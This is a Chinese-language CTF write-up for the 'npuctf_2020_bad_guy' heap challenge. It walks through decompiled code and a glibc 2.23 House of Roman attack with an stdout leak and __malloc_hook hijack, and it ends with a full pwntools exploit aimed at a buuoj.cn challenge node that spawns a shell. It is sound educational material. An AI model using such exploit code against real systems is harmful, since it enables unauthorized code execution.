npuctf_2020_bad_guy

前言：House Of Roman + _IO_2_1_stdout 泄露：解题方法只是在第一步利用了House of Roman 拿到stdout之后就是泄漏libc和fastbin_attack，最后就可以 getshell了。可以把 Roman 当做一种爆破的思路，但是不推荐整道题都通过爆破去攻击，毕竟爆破次数是 16 的指数级增长。

本题目由于找不到合适的 libc，虽然远程打通了，不过本地还是由于 libc 版本问题打不通。

1775222964593-af26fbeb-b911-4194-a299-86e32fb302bf.png 1775223497301-ba070a07-2258-4acb-8e01-f6d6bf794fd0.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
    int n2; // eax

    prog_init(argc, argv, envp);
    while ( 1 )
    {
        while ( 1 )
        {
            puts("=== Bad Guy ===");
            puts("1. Malloc");
            puts("2. Edit");
            puts("3. Free");
            printf(">> ");
            n2 = read_num();
            if ( n2 != 2 )
                break;
            edit();
        }
        if ( n2 > 2 )
        {
            if ( n2 == 3 )
            {
                delete();
            }
            else
            {
                if ( n2 == 4 )
                    exit(0);
                LABEL_13:
                puts("2333, Bad Guy!");
            }
        }
        else
        {
            if ( n2 != 1 )
                goto LABEL_13;
            add();
        }
    }
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ssize_t __fastcall add(__int64 __)
{
  unsigned __int64 index; // [rsp+0h] [rbp-10h]
  __int64 size; // [rsp+8h] [rbp-8h]

  printf("Index :");
  index = read_num();
  printf("size: ");
  size = read_num();
  *((_QWORD *)&heaparray + 2 * index + 1) = malloc(size);
  if ( !*((_QWORD *)&heaparray + 2 * index + 1) || index > 0xA )
  {
    puts("Bad Guy!");
    exit(1);
  }
  *((_QWORD *)&heaparray + 2 * index) = size;
  printf("Content:");
  return read(0, *((void **)&heaparray + 2 * index + 1), size);
}

简单的 add 函数，负责 chunk 的创建以及 read 读取 content

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall edit(__int64 __)
{
  unsigned __int64 n9; // [rsp+0h] [rbp-10h]
  __int64 nbytes; // [rsp+8h] [rbp-8h]

  if ( count <= 0 )
  {
    puts("Bad Guy!");
    exit(1);
  }
  --count;
  printf("Index :");
  n9 = read_num();
  printf("size: ");
  nbytes = read_num();
  if ( !*((_QWORD *)&heaparray + 2 * n9 + 1) || n9 > 9 )
    return puts("Bad Guy!");
  printf("content: ");
  return read(0, *((void **)&heaparray + 2 * n9 + 1), nbytes);
}

通过 index 查找修改函数内容

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall delete(__int64 __)
{
  _QWORD *v1; // rax
  unsigned __int64 n0xA; // [rsp+8h] [rbp-8h]

  printf("Index :");
  n0xA = read_num();
  if ( *((_QWORD *)&heaparray + 2 * n0xA + 1) || n0xA > 0xA )
  {
    free(*((void **)&heaparray + 2 * n0xA + 1));
    v1 = (_QWORD *)((char *)&heaparray + 16 * n0xA + 8);
    *v1 = 0;
  }
  else
  {
    LODWORD(v1) = puts("Bad Guy!");
  }
  return (int)v1;
}

删除并且将指针置零，不存在 UAF

EXP 思路：

封装函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ru = lambda s : p.recvuntil(s)
sn = lambda s : p.send(s)
sla = lambda r, s : p.sendlineafter(r, s)
sa = lambda r, s : p.sendafter(r, s)
sl = lambda s : p.sendline(s)
rv = lambda s : p.recv(s)


def alloc(index, size, content):
    sla(b'>> ', b'1')
    sla(b'Index :', str(index).encode())
    sla(b'size: ', str(size).encode())
    sa(b'Content:', content)

def edit(index, size, content):
    sla(b'>> ', b'2')
    sla(b'Index :', str(index).encode())
    sla(b'size: ', str(size).encode())
    sa(b'content:', content)

def delete(index):
    sla(b'>> ', b'3')
    sla(b'Index :', str(index).encode())

Overlapping

1
2
3
4
5
6
7
8
9
10
11
alloc(0, 0x10, b'a') # 分配 chunk 0，实际大小 0x20
alloc(1, 0x10, b'a') # 分配 chunk 1，实际大小 0x20
alloc(2, 0x60, b'a') # 分配 chunk 2，实际大小 0x70
alloc(3, 0x10, b'a') # 分配 chunk 3，防止 free chunk 2 时与 Top Chunk 合并

delete(2)            # 释放 chunk 2,进入 Fastbin。

# p64(0x91) 覆盖 chunk 1 的 size。0x91 = 0x20 (chunk 1) + 0x70 (chunk 2) + 0x1 (标志位)
edit(0, 0x20, b'\x00' * 0x10 + p64(0) + p64(0x91))

delete(1)            # 释放伪造大小后的 chunk 1。因为 0x90 > 0x80，它被放入 Unsorted Bin。

通过编辑 chunk0 导致堆溢出修改 chunk1 的 prev_size，然后 freechunk1 让它进入 UnSortedbin

而此时，UnSortedbin(chunk1)与 Fastbin(chunk2)就造成了堆重叠

1775291633086-511ba94f-7574-48b6-96e0-76bad100b206.png

overwrite

1
2
3
4
5
alloc(1, 0x10, b'a') # 从 Unsorted Bin (0x90) 中切出 0x20 作为 chunk 1。
                     # 剩下的 0x70 成为新的 Unsorted Bin 块，完美落在之前 chunk 2 的位置上。
                     # 此时 chunk 2 位置的 fd 和 bk 被写入了 libc 地址 (main_arena+88)。
gdb.attach(p)
pause()

看一下断点之后的堆情况

1775293807097-5c3175b6-5008-491f-9379-cc4d5b1bf682.png

这次可以再次利用堆溢出继续修改 chunk2 的头部和指针：

1
2
# 写入 \xdd\x85 覆盖 fd 的低两字节，使其指向 _IO_2_1_stdout_ 附近的伪造块 (需要 1/16 爆破)
edit(1, 0x22, b'a' * 0x10 + p64(0) + p64(0x71) + b'\xdd\x85') # p16(0x85dd)

在 glibc 2.23 中，我们要通过篡改 _IO_FILE 结构体来泄露地址。

  • 目标地址：IO_2_1_stdout。
  • 绕过检查：Fastbin 分配时会检查 size 字段。我们不能直接申请到 stdout 的开头，而是在它的上方寻找一个包含 0x7f 字节的位置，把它伪装成一个 0x70 大小的 Fastbin 块。
  • 经典位置：在 IO_2_1_stdout 结构体上方偏移约 0x43 字节的地方，内存中通常存在类似 0x000000000000007f 的数据（这是由地址位错位产生的）。这个伪造块的地址通常以 0x5ed 或 0x5dd 结尾。

我们首先要找到 IO_2_1_stdout 的地址去伪造

由于 0x70 大小的 Fastbin 在分配时会检查 chunk->size 是否在 0x70 到 0x7f 之间，而 64 位系统的 libc 地址高位通常是 0x7f，我们可以利用字节错位来找到这个伪造的头部：

1
2
# 使用 find 命令搜索 0x7f 字节
find /g 0x7fb3b3bc4620-0x100, +0x100, 0x7f
1
2
3
4
5
6
7
8
9
10
11
pwndbg> p &(_IO_2_1_stdout_)
$7 = (<data variable, no debug info> *) 0x7fcfc77c4620 <_IO_2_1_stdout_>
pwndbg> find /g 0x7fcfc77c4620-0x100, +0x100, 0x7f
0x7fcfc77c4525 <_IO_list_all+5>
0x7fcfc77c45e5 <_IO_2_1_stderr_+165>
2 patterns found.
pwndbg> p/x 0x7fcfc77c45e5 - 0x8
$8 = 0x7fcfc77c45dd
pwndbg> x/2gx 0x7fcfc77c45dd
0x7fcfc77c45dd <_IO_2_1_stderr_+157>:   0xcfc77c3660000000      0x000000000000007f
pwndbg>
1775294313393-ffecc81a-054f-4e0a-b035-a1d8addd7875.png

改 Fastbin 头为 stdout

1
2
3
4
5
6
7
8
9
10
alloc(2, 0x60, b'a') # 把原本的 chunk 2 从 Fastbin 中拿出来。
                     # 此时 Fastbin 的链表头变成了我们伪造的 stdout chunk。

layout = [ '\x00' * 0x33, 0xfbad1800, 0, 0, 0, b'\x58' ]
alloc(3, 0x60, flat(layout)) # 分配伪造块，并将 layout 写入 stdout 结构体

# 接收泄露的数据并计算 libc 基址
libc_base = u64(rv(8)) - libc.sym['_IO_2_1_stdout_'] - 131
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = libc_base + one_gadgets_buu[3] # 选择一个 one_gadget
  • 构造 stdout 的 Payload
  • 填充 0x33 字节对齐到 _flags 字段
  • 0xfbad1800 覆盖 _flags，绕过安全检查
  • \x58 覆盖 _IO_write_base 的最低字节，强制扩大输出范围

再次 Overlap

1
2
3
4
5
6
7
8
9
10
11
12
13
# 重新分配一批 chunk，准备第二次利用
alloc(0, 0x60, b'a')
alloc(0, 0x60, b'a')
alloc(1, 0x60, b'a') # 实际大小 0x70
alloc(2, 0x60, b'a') # 实际大小 0x70
alloc(3, 0x30, b'a') # 保护块

# 同样的堆溢出手法，把 chunk 1 的 size 改大为 0xe1 (0x70 + 0x70 + 1)
edit(0, 0x70, b'\x00' * 0x60 + p64(0) + p64(0xe1))

delete(1)            # chunk 1 带着 chunk 2 的空间一起进入 Unsorted Bin
alloc(1, 0x60, b'a') # 切割 Unsorted Bin，剩余部分与 chunk 2 重叠
alloc(3, 0x60, b'a') # 把剩余部分分配出来给 chunk 3 (此时 chunk 2 和 chunk 3 指向同一块内存)

我们再次获得了两个可以互相读写的重叠块chunk 2 和 chunk 3

劫持 __malloc_hook 获取 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
delete(3) # 将 chunk 3 释放进 0x70 大小的 Fastbin

# 因为 chunk 2 和 chunk 3 重叠，所以我们编辑 chunk 2，实际上就是在篡改已被释放的 chunk 3 的内部数据。
# 将 chunk 3 的 fd 指针改写为 __malloc_hook - 0x23 (这是经典偏移，该处内存错位后形似 0x7f)
edit(2, 0x8, p64(malloc_hook - 0x23))

alloc(0, 0x60, b'a') # 第一次分配，拿回了 chunk 3

# 第二次分配，系统顺着被我们篡改的 fd，把 __malloc_hook - 0x23 分配给了我们
# 填充 0x13 字节的垃圾数据后，刚好对齐到 __malloc_hook 的确切位置，写入 one_gadget 地址
alloc(0, 0x60, b'\x00' * 0x13 + p64(one))

# 触发阶段：向系统请求一次 malloc 分配
sla(b'>> ', b'1')
sla(b'Index :', b'0')
sla(b'size: ', b'20') # 程序内部调用 malloc(20)

p.interactive()       # __malloc_hook 拦截执行流，跳转到 one_gadget，获得 shell！

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

libc = ELF('x64libc-2.23.so')
# libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

ru = lambda s : p.recvuntil(s)
sn = lambda s : p.send(s)
sla = lambda r, s : p.sendlineafter(r, s)
sa = lambda r, s : p.sendafter(r, s)
sl = lambda s : p.sendline(s)
rv = lambda s : p.recv(s)


def alloc(index, size, content):
    sla(b'>> ', b'1')
    sla(b'Index :', str(index).encode())
    sla(b'size: ', str(size).encode())
    sa(b'Content:', content)

def edit(index, size, content):
    sla(b'>> ', b'2')
    sla(b'Index :', str(index).encode())
    sla(b'size: ', str(size).encode())
    sa(b'content:', content)

def delete(index):
    sla(b'>> ', b'3')
    sla(b'Index :', str(index).encode())

def exp():
    alloc(0, 0x10, b'a')
    alloc(1, 0x10, b'a')
    alloc(2, 0x60, b'a')
    alloc(3, 0x10, b'a')

    delete(2)

    edit(0, 0x20, b'\x00' * 0x10 + p64(0) + p64(0x91))

    delete(1)

    alloc(1, 0x10, b'a')
    edit(1, 0x22, b'a' * 0x10 + p64(0) + p64(0x71) + b'\xdd\x85')
    alloc(2, 0x60, b'a')

    #       padding	      flag     read_buf   write_buf
    layout = [
        '\x00' * 0x33, 0xfbad1800, 0, 0, 0, b'\x58'
    ]

    alloc(3, 0x60, flat(layout))

    one_gadgets = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
    one_gadgets_buu = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

    libc_base = u64(rv(8)) - libc.sym['_IO_2_1_stdout_'] - 131
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    one = libc_base + one_gadgets_buu[3]

    success('libc_base -> {}'.format(hex(libc_base)))

    #uaf
    alloc(0, 0x60, b'a')
    alloc(0, 0x60, b'a')
    alloc(1, 0x60, b'a')
    alloc(2, 0x60, b'a')
    alloc(3, 0x30, b'a') #avoid merge

    edit(0, 0x70, b'\x00' * 0x60 + p64(0) + p64(0xe1))

    delete(1)
    alloc(1, 0x60, b'a')
    alloc(3, 0x60, b'a')
    delete(3)
    edit(2, 0x8, p64(malloc_hook - 0x23))

    alloc(0, 0x60, b'a')
    alloc(0, 0x60, b'\x00' * 0x13 + p64(one))

    sla(b'>> ', b'1')
    sla(b'Index :', b'0')
    sla(b'size: ', b'20')

    p.interactive()

if __name__ == "__main__":
    while True:
        try:
            # p = process('./npuctf')
            p = remote('node5.buuoj.cn', 27278)
            exp()
            break
        except:
            p.close()
1775285210189-96d69477-f2c9-4c16-bfc1-757c8ebf1173.png

更新: 2026-04-04 17:52:53
原文: https://www.yuque.com/idcm/wnemg9/nnbx7fb2ffceirhb